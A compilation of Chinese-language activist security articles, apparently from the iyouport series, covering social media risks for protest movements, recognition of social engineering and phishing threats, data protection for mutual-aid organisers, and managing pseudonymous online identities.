社交媒体对于组织公民抵抗运动来说可能是种绝妙的工具，但是，对于行动者而言，它们也很可能是危险的地方。

阿拉伯之春的灾难之后，几乎所有安全人士都会告诉你：远离社交媒体。

但某些运动可能会决定冒着很高的风险去使用 Facebook 或微信这类东西，只是为了更快获得知名度和公众支持，或者只是个姿态，以此来表明他们不害怕受到威胁。

而更多其他抗议运动为了试图避免风险就根本不使用社交媒体。

简单说，反抗者必须做出战略性的选择。本文的目的是帮助您评估在抗议活动中使用社交媒体工具的风险。

👉首先，对于抗议者来说，重要的是要了解：即使您所说的一切都处于“封闭”或“私有”的群组页面中，也不应被视为安全 —— 只要您使用的是寡头公司提供的服务，就是那些大多数人都能叫得上名字的服务。

即便是真正靠谱的端对端加密通信（比如signal）您也要仔细审核每个人，否则很难阻止渗透者进入您的团队。

telegram那种大群组极其不安全，并且它默认不加密；微信、Facebook 就更不用说了。

即使您确实信任群组中的每个人的身份，这些寡头公司也会将您的私人信息转交给政府、将个人页面和群组页面的内容移交给政府。他们经常干这种事，而且会持续干这种事。还记得吗👇

- 《他们是如何抓捕说真话的人？灾难和教训》

于是，作为思考清单，您至少需要问自己以下这些问题：# 您是否仅出于组织目的就有被逮捕的风险、或人身威胁危险？如果是这样，您准备好了吗？

- 社区成员如果给您点赞表示支持，他们是否有风险？如果有，他们准备好了吗？
- 准备参加抗议运动的人们如果分享了任何相关帖子或评论，是否可能会在游行发生之前、期间或之后被逮捕？如果是这样，他们准备好了吗？

1. 《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》

- 更多方法见 列表-5 “护盾”

1. 《角色扮演》

- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》

1. 《我被警察折磨至精神崩溃：现在我必须爬起来战斗》

请注意，您在社交媒体上撰写的 *任何* 与行动有关的计划，都将对您不利。

但是，有些人会故意记录他们的抵抗活动，以此来提高自己的知名度。

就 Valve Turners 而言，激进活动家于2016年10月11日关闭了5条不同的输油管道，以引起当局的注意 —— 故意让当局逮捕他们，为的是引起更多人关注他们的反抗事业，并在法庭上证明他们的行为对于保护人民是必要的。

这些激进活动家并不是坐在管道旁等着警察来逮捕他们，他们还制作了有关整个行动的视频、网站和社交媒体帖子。

☞对于使用社交媒体进行行动组织，最重要的是要记住常识：仅仅因为许多人使用某个社交媒体（Facebook/微信/Twitter）并不意味着活动家应该将其用于组织游行示威和其他抗议行动。

就如公民抵抗运动中的任何战术一样，活动家和组织者必须采取有目

的的战略方法 —— 仔细比较自己希望使用的在线平台的优缺点，尤其，要详细考虑如何最好地支持可能受到威胁的抗议运动的生命和生计。〇

原文

AS44 如果您已成为目标：来自内部和外部的威胁和抵御 - iyouport

护盾（AS）

【2020年8月14日存档】这里的 “您” 指的是群体，而不仅仅是单一的个人

社交工程学有非常多的用法，其结果完全取决于目标。其中就包括当权者和间谍机构对公民施加的操纵和控制。

☞ “如果您已成为目标”，您就必须随时留意这些迹象，以准确判断当权者的真实目的。否则，您可能会越陷越深，很快失去反击的能力。

而另一方面，在出现下面部分迹象时，您可能更加难以动员人们反抗。

那么这些威胁迹象都包括什么？它分为外部和内部两部分。

—— 外部威胁 ——

「图」

1、稀缺的力量

「图」

稀缺性指的是，人们被告知，他们最想要的东西非常有限和稀罕，要想获得它，就必须遵循某种态度和行为。

但是，他们往往不会明确指出所谓的 “正当态度和行为” 究竟是什么，而是向表现出让当权者满意的行为的人展示奖赏。

有些时候心理捷径是有益的，可以使人们能够更有效地应对生活的复杂性。但是，稀缺性的恐吓却具有严重的误导性。

而且，这个作用是双向促进的。当有人得到了别人没有得到的东西～～ 比如特殊权限、食物、水，等等，就会使他们感到自己“特殊”，“独特”，“崇高”，并将这些人置于捍卫暴政的位置上。他们害怕失去这份特权。

害怕失去是一种依恋。依恋导致懦弱和奴性。

一个例子是南非政府，他们夺走了人们生命所必需的东西，并使它“稀缺”且仅供支持政府的人可用 —— 这是一种恶意的但非常有效的操纵策略。

更糟糕的是，稀缺性创造了使稀缺性永存的心态。

穷人保持贫穷，孤独者保持孤独，忙碌者保持忙碌 …… 稀缺性创造了一种使稀缺性永存的心态。

如果所有这些看起来都很惨淡，那么另一种观点就出现了：穷人之所以贫穷，是因为他们缺乏技能；孤独者之所以孤独，因为它们令人讨厌；忙碌的人之所以忙碌是因为他们缺乏组织生活的能力 ……

用这种替代的观点，稀缺变成了深层的个人问题的结果，很难改变。而相反，稀缺性心态是因果关系的结果，更容易接受补救措施。

☞稀缺性本身就是环境条件的结果，而不是个人特质，这种条件通常可以加以管理从而改变它。但为什么人们却忘记了如何去改变？

稀缺性削弱人的勇气，使决策过程变得复杂，因为通常只有短暂的机会窗口可以选择稀缺的东西。所以你的全部注意力都会被吸收在那个窗口上。

这对所有人来说都是如此，不论智商如何，当看到眼前的供应开始减少时，人们就必定会感到特别有必要采取行动。经历过疫情抢购的人们应该很容易理解这点。

每种情况和稀缺性都是不同的，经常并不是厕纸和大米这么明显，当权者甚至可以人为制造出稀缺 —— 塑造公众的价值观。比如中国的户籍制度，强行将某些城市定义为高档并限制迁居。

不论如何，请随时记得，当你感知到稀缺的紧迫感时，试图去寻找它的成因，并想办法抵抗不公正的稀缺。而非跟随欲望。越多的人认同稀缺的“合理性”，它就越容易加速深化，将所有人都拉入深渊。

2、惧怕权威

「图」

许多人在一个被视为权威的人物面前会感到焦虑，不是他们对那个人感到焦虑，而是对恐吓他们的人所代表的地位和权力。

于是，攻击者很擅长扮演着执法人员或公司高级官员之类的权威人物角色，以从受害者那里提取敏感信息。

这是一种长盛不衰的社交工程手段。还记得那个电影吗？《Der Hauptmann》那不是虚构的。在这里看到介绍 《人性的懦弱：社交工程攻击和行为操纵的便捷入口》。

☞ 恐惧和服从并不是攻击者 “植入” 的，而是来自人们根深蒂固的对权威的下意识反应。攻击者所做的只是 **启发** 了你内心的冲动。

- 启发在社交工程攻击方面的应用非常广泛《5种有效的社交工程启发术》
- 《我是如何上当受骗的？》

学习这些知识可以帮助您理解操纵者的手段，并随时控制自己的行为。

3、提供帮助的渴望

「图」

“帮助” 这个词可能会存在歧义，因为这里所指的帮助并无关善良和爱心，准确说是在追求一种自我炫耀的满足感，“你看我知道这件事/我能做到***”。

攻击者的做法就是刺激目标人的这种满足感的欲望。

越是不怎么懂的人越希望彰显出自己懂一些东西，越是权力低微的人越渴望表现出自己的权力。攻击者很了解这点，这就是为什么他们以看门人、清洁人员为目标，以获得进入重要设施的权限，或者套出敏感的致命信息。

这在互联网上也一样。

当你显得自己 “无所不知” 时，任何人都不会告诉你他们知道什么。

相反，如果你让自己看起来像个白痴 ..... 几乎所有人都会努力 “纠正” 你的错误、试图教导你什么才是真实的信息。

☞ 攻击者要做的就是给目标人一种 “你比我智高一筹” 的优越感，在这种感觉的熏陶下，目标人就会非常愿意吐露更多重要的敏感信息。

这种手段屡试不爽。尤其是通过社交媒体这种激发表现欲的媒介 —— 你只需要稍微装傻，就可以轻松获得很多人隐秘的知识和重要信息。

👌总之：请随时留意您说出的每一句话，使用 *对抗性思考方式* —— 即：考虑如果恶意者听到/看到了你所说的，他们可以用此信息来做什么。

4、习以为常

「图」

我们所有人都遇到过某些工作，这些工作仅要求我们执行一组指定的活动，仅此而已。

这会使每天重复执行相同任务的人感到无聊，并且随着时间的流逝，这种无聊感会促使你在满足目标的同时以最小的努力来完成任务。

这就导致了一种很随意的态度，并且容易受到攻击。这些攻击者将此类人作为目标，知道他们可以轻松获得攻击者所需的信息。

☞习以为常感会冲淡人的态势感知力，甚至其中一些人开始向 “身边人” 倾诉自己的无聊，以获得心理层面的呼应。但是他们忘了，对他们自己来说 “习以为常” 的东西，对外人来说经常是稀奇和新鲜的。听者会传播这些信息，从而被攻击者捕获。

👌 如果您是组织中的负责人，请尽可能安排您的队友在不同时间段内做不同的工作，并同时制定严格合理的安全标准，以避免恶意者借助无聊情绪来渗透你的组织。

如果您是工作者，请随时提醒自己保持警觉，主动转移一下自己的侧重，做一些其他的事；让好奇心保持在足够的高度上。好奇心是敏锐的驱动力。

5、自我

「图」

如果你怀疑地球是平的，我就会努力“为你证实”为什么地球就是平的。这样一来你就会特别喜欢我，因此不会意识到我这在对你做什么。

这也是一种特别常见的攻击方法。包括在信息战心理操纵中都会使用这点。

举个例子。我制作一个博客/公众号/频道，我对目标受众群体做出了充分的调查 —— 我知道他们信任什么和不信什么、他们的主要观点和认知，然后我就会借助这个平台不断强调和重复目标受众群体的基本认识；这种情况下我会迅速拉拢所有人，甚至更多人。因为我的陈述“证实”了他们的想法。

☞不论这个想法有多么荒谬。这就是社交媒体营销所采取的方法 —— 不断重复每个人都知道的常识，排斥一切新的完全不同的信息的输入。增粉大法。

在本文的主题上，增粉并不是目标，操纵才是。在心理战术中，当我能成功博取目标受众的信任时，我将开始渗透我想要你相信的主张。这种情况下人们已经对我操作的 博客/公众号/频道 具有足够信任，来自这里的任何信息都更加容易被赋予同等的信任。当然，这需要微妙地逐步地进行，而不是一次性灌输，让人们跌眼镜是不会成功的。

再一次，这种手段在那种旨在促进表现欲的媒介上使用会特别高效，比如社交媒体。☞在这里，大多数人仅仅是希望证实自己的判断，从而获得更强大的自信，而不是学习新的不同的东西。

我们一直被告知，保持自信，以避免恶意的误导。在很多时候它是好事，但也有一些情况下，比如上述这类操作。自信会导致更容易受到攻击。

攻击者会想办法促进目标人的自信、让目标人对自己的感觉的真实性更加有把握 —— 从而消除了对正在发生的安全漏洞的逻辑意识。

结果是，被黑客入侵的人在提供攻击者所要求的内容时不会感到任何伤害。

此类攻击之所以能成功的原因就是，攻击者拉低自己的位置，扮演受害人的听众，他们帮助受害人构建偏执的自信。

自我不会消失，但它是否会使您变得脆弱，取决于您如何处理它的具体情况。

👌最简单的检测在于，问自己这个问题：您觉得自己比别人更优越（或更卑劣）吗？如果是，那么您的自我处于控制之中。根据背景信息选择："不是现在、不是这里、不是对这个"…… 或者做一些反情报思考。

上面这本书可以在这里下载：https://t.me/iyouport/7008

6、对胜利的兴奋和对失败的恐惧

「图」

这两者是一回事。

如果你被告知很容易可以赚到钱、甚至只有一段很短的时间内有效，这就很容易被激发冲动去做出傻事。

👉出于兴奋，安全意识被关闭了，链接被点击，下载了恶意软件，该恶意软件使攻击者可以远程访问你的设备，你的钱、数据、等等一切都被拿走了。

Easy money 的确存在，但可惜不是给您的。而是攻击者。

这种手段听起来太容易避免了，"我不贪心不就行了吗？" 不一定。它会与上述各种手段结合使用 —— 比如，在疫情最危险的时刻，攻击者声称现在你可以从这里买到合规的平价口罩，也就是利用稀缺性，想想看，有多少人会上当？

大型灾难期间是攻击最频发的阶段，因为这样的阶段存在广泛的天然的恐慌情绪，这份情绪是让人们失去理智的重要因素，导致很容易受到攻击。

解决方案其实很简单，正如我们在 "社交工程" 栏目中多次强调的：在做出任何重要决策之前，停3分钟，思考一下，或者仅仅是转移一下自己的注意力到别的地方，稍后再回来重新考虑这一决策。蜥蜴脑能掌控的仅仅是这几分钟。时间就可以摆脱它的控制。

7、知识不足

「图」

花点时间思考就能避免攻击吗？是的，很多情况下的确如此；但是，也有些情况下，并非这么简单。

☞ 如果您对当前状况的知识不足，不论花多少时间思考，都有可能做出错误的决定。

这就是为什么恶意者总是倾向于降低目标人的知识含量 —— 你知道的越少，就越容易接受操纵。包括独裁者，都会致力于保持民众的无知。

⚠ 无知分为两种，一种是被动的无知，就如上述这样，被故意的信息封锁和瞒骗所侵害；还有一种是为主动的无知，即 不愿意接受那些与自己的固有想法相悖的新知识。

其实后一种比前一种更可怕，也更常见。最简单的例子，每个人都可以查找一下自己曾经买过的书，它们中大多数肯定具有某种共性，很可能围绕着同一种意识形态/思考方式/专业/等等。这是因为人们会下意识地寻求书籍和类似 “正规信源” 来证实和强调自己的固有想法（是的，再一次，使用的是 “5 自我” 中的逻辑）。

这就会造成主动的知识不足。举个例子，如果一个人的固有认知是认为武装起义是唯一可行的方案，那么此人就会拒绝大多数技术技巧方面的知识，而专注于武器相关的知识。但是，您知道，每一种反抗—包括武装起义—其成功与否的关键都在于技术和技巧，而且蛮力。缺乏策略会令您迅速陷入困境，不论您是否 “有枪”。

👌多学习些不同的东西并没有坏处，尤其是对于有事业理想追求的人来说，实现您的理想所需要的知识肯定不止一两种。

以轻松的方式收集（并传播）知识。尽力而为。

—— 外部威胁 ——

「图」

1、肩膀冲浪

「图」

这种攻击方式我们介绍过，见《现实生活中遍地都是可利用的信息：社交工程学侦查实践》。

肩膀冲浪是一种很常见的攻击形式，尤其是在每个人都专注于自己的手机的时代 —— 攻击者使用观察技术来获取信息，同时他们正在执行涉及令敏感信息可见的某些操作。

☞而且可以使用双筒望远镜或其他视觉增强设备在近距离和远距离执行此操作。

避免方法见 列表-1 “反侦查” 中的介绍。尤其是需要注意，不要在公共场合从事任何重要工作，包括登陆自己的真实网络账户。

👌当您在咖啡馆里准备选一个座位时，请首先注意自己的背后和四周，是否有其他位置可以看到您的电子设备屏幕；当您在公交车/地铁上时尤其需要注意，不要打开手机，更不要执行任何输入密码的操作，哪怕只是登陆社交媒体。排队购物时更是如此，因为您不可能指责站在您后面的人。

2、垃圾箱潜水

「图」

这应该无需赘述了。如今大多数人都明白，在丢掉垃圾之前应该检查一下，那里面是否存在对潜在恶意者有利的东西。我们发现中国网店上出售遮盖物流包裹上的标签的工具（那个东西没必要买，一只打火机就可以做到同样的事），至少显示市场已经对隐私安全有所关注。这是好事。

☞ 但对于垃圾箱潜水的威胁性来说，并没有那么简单。关键在于，受害者 *自己* 认为哪些东西才是致命的。这可不容易判断。

再次引用上述 “内部威胁” 中的 “习以为常” 原理，当事人对于自己熟知的东西往往会放松警惕，尤其是与其个人利益相关性不大而是与其所在组织利益密切相关的东西。比如建筑物施工图、考勤表、其他人的购物回执等等。

对于攻击者来说这些东西中都包含大量的可用信息。

这就是为什么垃圾箱潜水经常能为情报收集带来最丰厚的回报，而且经久不衰。

人们经常会随手扔掉发票、通知、信件、CD、废弃的计算机、USB密钥以及其他东西，这些东西可以为真正的攻击者提供惊人的信息量 —— 不论是关于目标人的、还是目标项目的参与者、还是整个组织网络。

普通的碎纸机并没有用，更不用说简单地撕碎了。渴求情报的攻击者都具有非凡的耐心，也有足够的时间将碎纸重新拼接起来。

👌 请随时注意丢弃的东西，在哪里以及如何丢弃的问题。使用可以切成细碎的碎纸机会很好，当然，简单地焚烧都是可以的。丢弃电子设备之前请砸烂它们，越烂越好。

3、角色扮演

「图」

我们介绍过《角色扮演》，但那是为帮助行动者掩盖真实身份的防御措施。而本文中讲述的角色扮演是一种社交工程常规做法。

角色扮演是社会工程师的关键武器之一。它涉及通过使用在线聊天会话、电子邮件、电话、或您用于与其他人进行交互的任何其他途径，来说服、诱导、欺骗，以收集信息。

其中社交工程师有可能扮演咨询者或技术人员的角色、也可能是无助的可怜人、或其他任何可能的方式，具体取决于对目标人弱点的分析。在这种情况下诱使目标泄露机密信息。

👌 保持警惕的同时您也完全可以提供虚假的信息给对方。

随时记住意图是什么。意图是情报和反情报行动的关键要素。

4、特洛伊木马

「图」

这是犯罪分子和政府间谍使用的最主要方法之一，其中涉及诱骗受害者将恶意文件下载到他们的电子设备上，攻击不一定会立刻进行 —— 而是在其上创建后门，攻击者可以在日后随时使用它，从而可以完全访问受害者的设备。

斯诺登揭露的所有NSA黑客行动中，其中一项特别以其精巧和隐蔽性

而引人注目。自2005年以来，美国国家安全局（NSA）及其合作间谍机构英国的 GCHQ 广泛使用了各种这类旁观者攻击骇客技术，以入侵高价值的、难以到达的系统，并植入恶意软件。

- 全部攻击手段分析《互联网霸主的时间线》

检测的重点是识别在浏览器尝试访问网页时发送到受害者的浏览器客户端的数据包中的异常。具体方法见这里。

5、钓鱼

「图」

网络钓鱼一般是指创建和使用虚假的网站和电子邮件地址的行为，这些网站和电子邮件的外观看起来非常像是来自知名的合法企业、金融机构和政府机构，以欺骗接收者泄露其真实个人信息。

将您的电子邮件客户端设置为接收纯文本电子邮件，而不是HTML格式。

仔细检查电子邮件中的任何网址。虚假地址可能只是一个字母不同或缺失。

更多方法参见下面：

- 《远离诱饵：警惕 7 大最常见的网络钓鱼主题行》
- 《 把危险隔离出去》
- 《一个简单的新工具可让您安全地打开电子邮件附件》

6、网站、在线论坛和社交媒体上的开源信息

「图」

有关组织结构（正式和非正式）、电子邮件地址、电话号码的大量信息都可以在网站、论坛和社交媒体上公开获得。攻击者可以使用此信息来完善其方法，并瞄准最有可能成功的目标人、制定最有可能成功的策划。

开源情报的诸多演示已经足够证明这点：关于社交媒体有多可怕。根本性的也是最简单的解决方案就是，不要使用任何社交媒体和在线论坛。

但对于大多数组织和个人来说，这不现实。于是最好的做法是分身，尤其是在不同的社交媒体上采取不同的身份，避免将个人信息集中在一处。具体方法见：

- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何快速创建一个假人？简易版分身术—调查人员使用》
- 《使用社交媒体时你必须注意什么？—— 更安全的抵抗》

7、逆向社交工程

「图」

逆向社交工程学攻击是指这样一种攻击，其中攻击者说服目标他或她有问题、或将来可能遇到特定问题，并且攻击者已准备好帮助解决该问题。

逆向社交工程涉及三个部分：

▸ 破坏活动：攻击者获得对系统的简单访问权后，破坏了系统或使系统看上去受到破坏。当用户看到系统处于损坏状态时，他就会开始寻求帮助以解决问题。

▸营销：为了确保用户准确地寻求攻击者的帮助，攻击者会给自己打广告自称为唯一可以解决问题的人。

▸支持：在此步骤中，攻击者获得了目标的信任并获得了对敏感信息的访问权限。

当您的系统出现故障时，恰逢某人在适当的时间出现以帮助您解决问题，那也许是好运，但也请考虑其故障的真正成因，也许它是某种“虚假困境”。

最后

「图」

基本上就是这样。这些威胁有可能并非单独出现，而是结合在一起、尤其是结合在一套逻辑完好的攻击策划中。

但它们的出现都具有一定程度的迹象，您需要做的就是保持批判性思考和警觉的意识。尤其是当攻击针对群体操作时，周围人的想法和行为很可能对您产生影响。希望每一位阅读过本文的朋友都能成为组织中金丝雀。〇

原文

AS45 在线组织和互助需要多方面小心以维护所有参与者的安全：这里是基本注意事项 - iyouport

护盾（AS）

【2020年8月18日存档】在线组织民间互助组是疫情中直接行动的最佳实践。但组织者和联盟协调人员需要注意一些安全问题

各种各样的社区都在加紧组织互助团体，以虚拟方式团结起来，为需要帮助的人提供和协调支持。

为了满足防疫需求上的身体距离，许多人正在使用Google电子表格、Twitter 和 Facebook 上的公开帖子、以及社交媒体平台上的私人消息进行在线组织。

这种支持具有强大的能力，但同时也引起了安全方面的关注：被忽视的隐私设置和过分的个人数据收集会导致意外地泄露私人信息，这些信息的泄漏不仅对活动家本身是危险的，而且很容易损害任何寻求帮助的人们。

尽管这些努力似乎在帮助有需要的人与资源之间建立联系方面具有同等的好处，但是，其使用的媒介本身的隐私和安全隐患却完全不同。

EFF 为组织者和志愿者提供了有关数字安全和隐私注意事项的指南，以更好地保护他们所支持的社区。

以下是组织者需要牢记的安全注意事项：

1、定义您的受众群体 —— 您想吸引谁，如何吸引他们，以及您想要为他们做什么？

2、收集尽可能少的数据 —— 实现目标实际所需要的数据是什么？以及对社区来说最敏感的数据是哪些？

3、注意权限，并在可能的情况下限制访问 —— 您的数据需要全部公开吗？您可以限制它仅被社区中的一小部分人可见吗？

4、在旅途中和休息时使用加密 —— 您正在使用哪些工具？谁可以看到您的数据？它受到保护吗？

5、考虑一下您信任哪些公司、人员和系统掌握您的敏感数据 —— 您可以通过端到端加密平台连接参与者吗？

这些都是组织者在设计这些工作时应该考虑的所有问题，参与者应该有能力向组织者询问这些问题。

组织过程中共享的信息可能非常敏感，并且是潜在的网络钓鱼尝试的主要目标。参与这些工作的每个人都必须了解风险是什么，以及如何通过深思熟虑的数据保护措施来将风险最小化，这一点很重要。

为什么在组织互助时数据安全很重要

本文将假设一个行动组织者名为 Layla，以分析其经历。 Layla 认识到，迫切需要努力将需要财务支持的人员与帮助者联系起来，并获得资源。

她决定建立一个带有易于查看的相应文档的网站，以便帮助人们共享和推广他们的需求，并提供一种进一步联系的方式。

但是，这样做时，Layla 决定要保护自己社区的敏感数据免受恶意攻击。

个人数据可能会以多种方式被滥用，不幸的是，有很多恶意者经常想要在不确定性和压力很大的时期利用他人的脆弱性。以下只是一点点示例：

网络钓鱼：在了解有关目标情况的非常具体的信息时 —— 例如，他们的电子邮件、Venmo 或银行信息、他们的真实姓名、地址、他们寻求帮助的情况、他们的健康信息、以及他们的故事，恶意者就会欺骗目标。尤其是，恶意者会利用发现的尽可能多的信息来了解其目标，从而制作出听起来更真实的骗局。

Layla 需要思考如何限制这些信息的可见度，并确保仅在绝对必要时才收集参与者的敏感数据。

人肉弱势群体并促进针对性的骚扰：恶意者可以发布有关某人的生

计、工作场所、和家庭住所的私人信息，以骚扰他们。这是 doxing 的典型操作。

- 更多抵御措施详见《抵制在线攻击：不要被 trolling 和 Doxing 压垮 (2)》

这种骚扰可以是数字层面的、财务方面的和现实物理层面的。数字层面的骚扰通常采取网上辱骂的形式；财务骚扰可能意味着将这些信息用于欺诈性账单；在其他情况下，攻击者会不断发送垃圾邮件，直到用户意外接受为止。

现实物理层面的骚扰包括很多种形式，从尾随纠缠到恶作剧、殴打、报假警让警察集体围攻目标人的住所等等。

即使在正常情况下，这些活动也可能危及一个人的生计或安全。对于那些已经被边缘化的或特别受时事影响的人们，会更加有害。

由于 Layla 支持的是有可能将其私人信息被用于有针对性的骚扰的社区，因此她需要仔细考虑如何保护这些信息，以免被恶意者掌握。

政府收集：全球大多数政府都在大规模收集有关公民的私密详细信息。在最有害的情况下，政府机构之间的这种数据收集和共享可能使已经被定位的社区面临更大的风险，尤其是在可能已经对某人进行监视的情况下 —— 由于其移民身份、性别、性取向、健康状况、经济状况、信仰、种族、或政治联盟。

就 Layla 而言，她特别担心移民和海关执法局进一步针对她所在社区的人们，并且不希望收集那些可能被滥用以促进突袭的信息。

数据销售：不论是大型还是小型公司都在不断抓取网络数据以获取有关他们可以汇总和出售的个人的信息，例如第三方跟踪所做的。这就是监视资本主义。

Layla 的社区成员担心，共享信息可能意味着他们最终会出现在更多的垃圾短信和电话营销列表上，或者被多家公司跟踪。

这些都是棘手的问题，会带来可怕的后果。组织者应该考虑使用以下概述的原则，采取实质性的预防措施来防止这些不良后果。

考虑到所有这些潜在威胁，Layla 知道她想保护社区成员提交的数据，她意识到自己收集的数据非常敏感。

使用“威胁建模”框架，Layla 需要思考以下问题：# 我想保护什么？

- 我想防备谁？
- 如果我失败了，后果有多严重？
- 这些威胁发生的可能性有多大？
- 我愿意为了防止潜在后果付出多大的努力？

1. 您需要什么类型的信息才能实现这一组织行动的目标？

- 您要求的数据中是否存在冗余？如果是，您可以删除其中一些字段吗？
- 哪种类型的数据对您的社区最敏感？您能否要求提供一条不同的、不太敏感的替代信息，并且仍然可以实现您的目标？
- 您什么时候可以删除此电子表格和提交的数据？

1. 《他们是如何抓捕说真话的人？⚠灾难和教训》
2. 《安全工具箱补充版：分类工具列表（2）》
3. 您在此平台上收集的数据有多敏感？

- 您相信服务提供商的安全能力吗？
- 您相信他们会负责任地处理您社区的数据吗？
- 如果您不信任他们，该怎么做？

1. 不要错过《如何在不暴露私人电话号码的情况下使用signal》
2. 您为什么要汇总这些信息？您的目标是什么？

- 您要放大哪些不同类型的数据或信息？他们是否需要不同的隐私考虑？
- 您真正需要什么信息来使数据聚合对人们有用？
- 在链接到较小的数据源之前，您可以与具体的组织者事先交流一下吗？征求他们的意见关于他们想要公开哪些和隐藏哪些。

1. 您能否会建议使用更安全的渠道来跟进更多详细信息？

- 您可以通过端到端加密平台联系所有参与者吗？端到端加密通信有助于保护通信数据在预期的发送方和预期的接收方之间。

1. 您为什么要汇总？您的目标是什么？

- 您要放大哪些不同类型的数据或信息？它们是否需要不同的隐私考虑？
- 您真正需要什么信息来使数据聚合对人们有用？

- 在链接到较小的数据源之前，您可以与具体的组织者事先交流一下吗？征求他们的意见关于他们想要公开哪些和隐藏哪些。

1. 您的参与期望是什么

- 提交哪些信息是必需的哪些是不必需的
- 参与平台是否使用加密，并确保至少使用HTTPS
- 数据的公开程度如何、以及组织者能看到多少数据
- 数据将存储在哪里以及存储多长时间
- 是否有端到端加密通信工具可以围绕敏感细节进一步与参与者建立联系，以及如何将这些细节与视野更广的平台区分开

1. 您可以与组织者沟通这些问题并讨论他们为缓解这些问题而采取的步骤吗

- 注意与所提供信息有关的潜在网络钓鱼企图。
- 考虑一下您可以忽略的内容：是否需要提供真实姓名或其他可识别性信息，例如电话号码或家庭住址？如果您的电子邮件中包含您的真实姓名，您可以使用其他的与您的身份无关的电子邮件吗？

更多具体的自我保护措施详见我们的 列表-1 “技术防身”；以及列表-5 “护盾”。

直接行动正是因为政府的迟钝和不作为公民需要自己动手维护自己的利益。于是公民组织必须做得比政府更好，给参与者更多的安全和权益。希望这篇文章中介绍的注意事项能对您的社区有所帮助。〇

原文

AS46 您在什么时候需要假名、匿名和公开在线身份？– 在线创建和管理身份的思考方式 - iyouport

护盾（AS）

【2020年9月10日存档】好人的胜利在于，他们能成功地令坏人失败

---

from Irena Buzarewicz

扎克伯格是个坏人，他的坏不仅在于他是全球最危险的监视资本家之一 —— 他利用偷窥我们每个人的一举一动来赚钱；并且，他利用他的知名度传播危险的价值观 —— 他说 ”如果你有两个身份，就是缺乏诚信的表现。”

您需要知道，扎克伯格之所以这样说，只因为 **Facebook** 希望将其用户打包成整齐划一的数据集供广告商使用。简言之，他为了出卖你，从而诱导你相信错误的价值观。

这和当权者所做的一样，他们告诉您 “实名制意味着正大光明”，和最臭名昭著的说辞 “你没什么可隐藏的”，都是在意图通过操纵您的价值观来为监视者提供最大程度的便利。

- 见《“没什么可隐藏的”—这个愚蠢的反人权论调从何而来？》

如果多重身份让你想起政府信息战的水军操作，这不是您的错。这些水军的确采取的是多重身份，然而就像毒贩也使用Tor、基地组织的恐怖分子是最早使用 Telegram 频道的人、甚至中国外交部也在使用 Twitter …… 如果您因此而拒绝使用 Tor、Telegram 频道和 Twitter，想想看，这是谁的损失？

保护性措施不应该只保护坏人。作为想做些好事的好人们，您应该能做到比那些坏人具备更强的防御能力，只有这样才有希望击退他们。

“难以被追踪” 系列已经完成，您可以在 列表-1 中看到同名的单独板块。此外，列表 -1 中的 “技术防身” 栏目，和列表-5 中的 “护盾” 栏目所收集的内容都是每一位行动者应当熟练掌握的技能。

互联网相比现实世界最有利的一面就是，您可以轻松将自己分解为多种身份，比如个人身份、专业身份、娱乐身份、不同领域的互动身份等等；或者按照 “敏感” 等级分解为不敏感、中度敏感、高度敏感，等等。这取决于您的具体需求。

分身的好处在于，即便您的其中一个身份被追踪者瞄准了，即便该身份的保护性措施非常差，它也不至于连累您的其他部分身份。也就是说，追踪者不容易一次性将您的全部揭穿。

任何一个角色暴露了，您可以随时杀死它，重新再来。

关于分身的方法，请参见以下内容：

- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》
- 《如何快速创建一个假人？简易版分身术—调查人员使用》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》

⚠ 分身对于政治敏感人士而言尤其重要。因为想要迫害你的人会将你的全面身份联系起来，您的政治立场和主张就会牵连到您的家庭、您的孩子、您的父母和恋人，您肯定不会希望发生那种事的。

这种行为被称为 doxing，中文叫它人肉，这已成为一种日益严重的威胁 —— 如果作为敏感人士，您的个人、专业和政治活动网络发生重叠，就无疑会给您以及您身边的亲朋及队友带来很大的危险。

☞ 请注意，并不是说您使用一个假名和虚假的个人身份信息就可以免于被追踪了，如果您在所有身份领域使用同样的假名和同样的虚构身份信息，也不难从中找到您的真实身份。因为您留给追踪者的线索太多了。

于是，分身的要诀在于，分离出来的每一种身份之间都是完全不同的，尤其是，完全没有任何交集的，必须让每一个身份看起来完全独立，这样才能切断追踪线索。

本文将总结一些关于在线身份管理的基本知识，从分身意味着什么开始，直到管理多个身份的来龙去脉，以及如何使用某些工具、平台和

设备，以补充您的在线身份管理。

- 不要错过《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》
- 《摆脱追踪者：您的行动必须是匿名的，否则没有可持续性》

首先要说的是，分身是一项建议，而非准入条件，您应该根据自己的需求作出最适合自己的判断。

是否使用“真实身份”

「图」

一旦您确定了自己的不同社交领域以及与之相伴的活动和网络，就需要开始考虑如何改善您与这些领域的互动方式了。

第一个要考虑的问题是，您是否要根据为自己确定的社交领域来区分您的个人身份，或者是否希望在每一个领域中都坚持使用您的官方名称和真面目。

这完全取决于您的具体需求，在这个问题上并没有“正确“或独特的答案，但必须说，这个过程和对您最终的选择无疑将影响到您在网络上的运营方式及其一切结果。

您可能想让自己的工作与您的合法身份或“真实“身份保持切合，因为这会让您的工作更具合法性；或者，您可能已经在该领域非常著名，由于各种原因，扭转这一点会出现问题。再或者，您可能认为您的行动主义应该是匿名的，您已经以一个虚构的身份确立了一定范围的影响力 …… 每个人都有不同的需求。

我们可以用2个例子来说明这点。

比如一位记者，如果她在写作中使用真实身份，她可能会有更多的知名度和工作机会。或者，她可能决定对自己的真名保密，用一个笔名（或“假名”）进行写作，这就意味着她采取了各种预防措施，让任何人都无法将这两个领域联系在一起。

这可能意味着她必须更加努力工作，以建立自己作为记者的公信力，一些潜在的雇主可能不愿意（或不能够）在不知道她的真实姓名的情况下为她的工作支付报酬，但是，将她的网络记者身份与真实姓名和身份分开，对她个人安全来说是很重要的，也是足够有价值的，她需

要为此付出一点努力。

再比如，一位活动家。如果他想用化名而不是真名，他应该考虑到自己可能会在现实世界中露脸，比如在会议上发言、参加示威活动、或参加小型活动。

他能不能把所有关于自己所做的一切行动主义相关工作的照片都保留到线下？如果不能，他在网上的假名将与他在任何现场照片中的脸中相关联，他的身份就暴露了。这可能最终会“揭开”他的网络活动家身份，使他最初选择使用化名的目标丧失作用。

